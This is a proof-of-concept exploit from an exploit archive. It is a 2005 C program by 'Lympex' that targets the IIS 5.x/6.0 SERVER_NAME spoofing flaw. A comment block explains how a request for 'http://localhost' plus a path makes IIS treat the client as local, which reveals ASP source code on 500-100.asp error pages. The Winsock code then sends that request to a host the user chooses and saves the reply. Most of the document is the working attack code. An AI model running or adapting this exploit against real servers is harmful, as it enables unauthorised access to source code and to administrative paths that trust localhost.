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MS Windows IIS 5.0 (500-100.asp) Server Name Spoof Exploit
========================================================== MS Windows IIS 5.0 (500-100.asp) Server Name Spoof Exploit ========================================================== /* ==================================================================================== || ## ####### ## ## ## ####### ####### ## ## ## || || ## ## ## ## ## ######## ## ## ######## ## ## || || ## ##### ######## ### ## ####### ####### ## #### || || ## ## ## ## ## ## ## ### ## ## ## || || ###### ####### ## ## ####### ####### ### ## ## ## || ==================================================================================== Name: IIS 5.x and IIS 6.0 Server Name Spoof PoC File: IIS_5.x_and_IIS_6.0_Server_Name_Spoof.c Description: Proof of concept Author: Lympex Contact: + Web: http://l-bytes.tk + Mail: lympex[at]gmail[dot]com Date: 25/08/2005 Extra: Compiled with Visual C++ 6.0 ################################################################################################################ #Remote IIS 5.x and IIS 6.0 Server Name Spoof # #It is possible to remotely spoof the "SERVER_NAME" Microsoft? Internet Information Server? 5.0, 5.1 and 6.0 #server variable by doing a modified HTTP request. Thus potentially revealing sensitive ASP code through the #IIS 500-100.asp error page, the spoof also opens up a potential range of exploits in third party web #applications and web services. # #Technical Description #Microsoft? IIS 5.x ? shows sensitive information if the "SERVER_NAME" IIS 5.x server variable is "localhost". #If a IIS 5.x ASP page has an error, the code on the fault line in the ASP page is shown in the browser, #but only if"SERVER_NAME" IIS server variable is "localhost". One can spoof the "SERVER_NAME" IIS server #variable so that it shows whatever one want. Other third party web applications or web services may also #be vulnerable if authentication depends on the validity this server variable. IIS 6.0 is vulnerable to the #spoof, but it's 500-100.asp page is not vulnerable. # #The IIS server variable that can be spoofed is the "SERVER_NAME", it can be accessed through #request.servervariables("SERVER_NAME") with ASP, and HttpContext.Current.Request.ServerVariables("SERVER_NAME") #with .NET, other programming languages have other methods to access this server variable, but are #equally vulnerable. # #If the HTTP request comes from a remote client, then the server variable "SERVER_NAME" returns the IP #address of the web server itself. If the HTTP request came from the same IP as the web server (thus the #request came from the an authenticated user browsing from the web server itself), then #request.servervariables("SERVER_NAME") returns "localhost". This fact is used as "proof" in web applications #or web services that the person browsing the web server is in fact browsing from the web server itself. #The web applications or web services may use this proof to display an administrative interface to the web #browser user if such is the case. One exploitable example is the IIS 5.x 500-100.asp page(Note: the #IIS 6.0 500-100.asp page is no vulnerable); the page uses the server variable to determine if to display #the code where the error occurred. # #The technical description of the server variable is "The server's host name, DNS alias, or IP address as #it would appear in self-referencing URLs", it is therefore often used to determine the IP address of the #web server itself in once code, this opens up for a range of exploits including cookie-stealing, data #redirection, and other URL manipulation issues. # #There are many other applications that utilize validity of this server variable, and MSDN holds many #examples for developers that are easily exploitable with this bug; among the most serious are the #Microsoft? .NET Passport SDK examples, any web application or web service based on these examples are #probably vulnerable due to the bug. ################################################################################################################ */ #include <stdio.h> #include <string.h> #include <winsock2.h> #pragma comment(lib,"ws2_32.lib") //max size to socket buffer #define LEN_BUF 2048 //socket status #define Conectado 1868 void main(int argc, char *argv[]) { /*connect to a host throught a port*/ int Conecta(char *Host, short puerto); //socket from the connection int socket; //to get the data received char buf[LEN_BUF]; FILE *data; printf("\n Proof of Concept"); printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex"); printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk"); printf("\n----------------------------------------------------\n"); if(argc!=4) { printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return; } //conectamos socket=Conecta(argv[1],(short)atoi(argv[2])); if(socket==-1) { printf("\n[+] Error connecting to host\n"); return; }printf("\n[+] Connected!\n"); if((data=fopen("received_data.txt","w"))==NULL) { printf("\n[+] Error saving received data\n"); WSACleanup(); return; } /*send the EVIL REQUEST*/ strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n"); send(socket,buf,strlen(buf),0); //while we aren?t disconnected do { buf[recv(socket,buf,LEN_BUF,0)]='\0'; fputs(buf,data); }while(socket==Conectado); WSACleanup(); fclose(data); printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n"); return; } /*Connect to a host throught a port - by Lympex*/ int Conecta(char *Host, short puerto) { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha /*estructura con los datos para realizar la conexion*/ struct sockaddr_in Winsock_In; struct hostent *Ip; /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); //miramos si est? correcto, y as? no rellenamos la estructura Winsock_In para nada if(Winsock==INVALID_SOCKET) { /*salimos*/ WSACleanup(); return -1; } /*rellenamos la estructura*/ Ip=gethostbyname(Host); Winsock_In.sin_port=htons(puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr))); /*conectamos*/ if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { /*salimos*/ WSACleanup(); return -1; } return Winsock; } # 0day.today [2024-12-25] #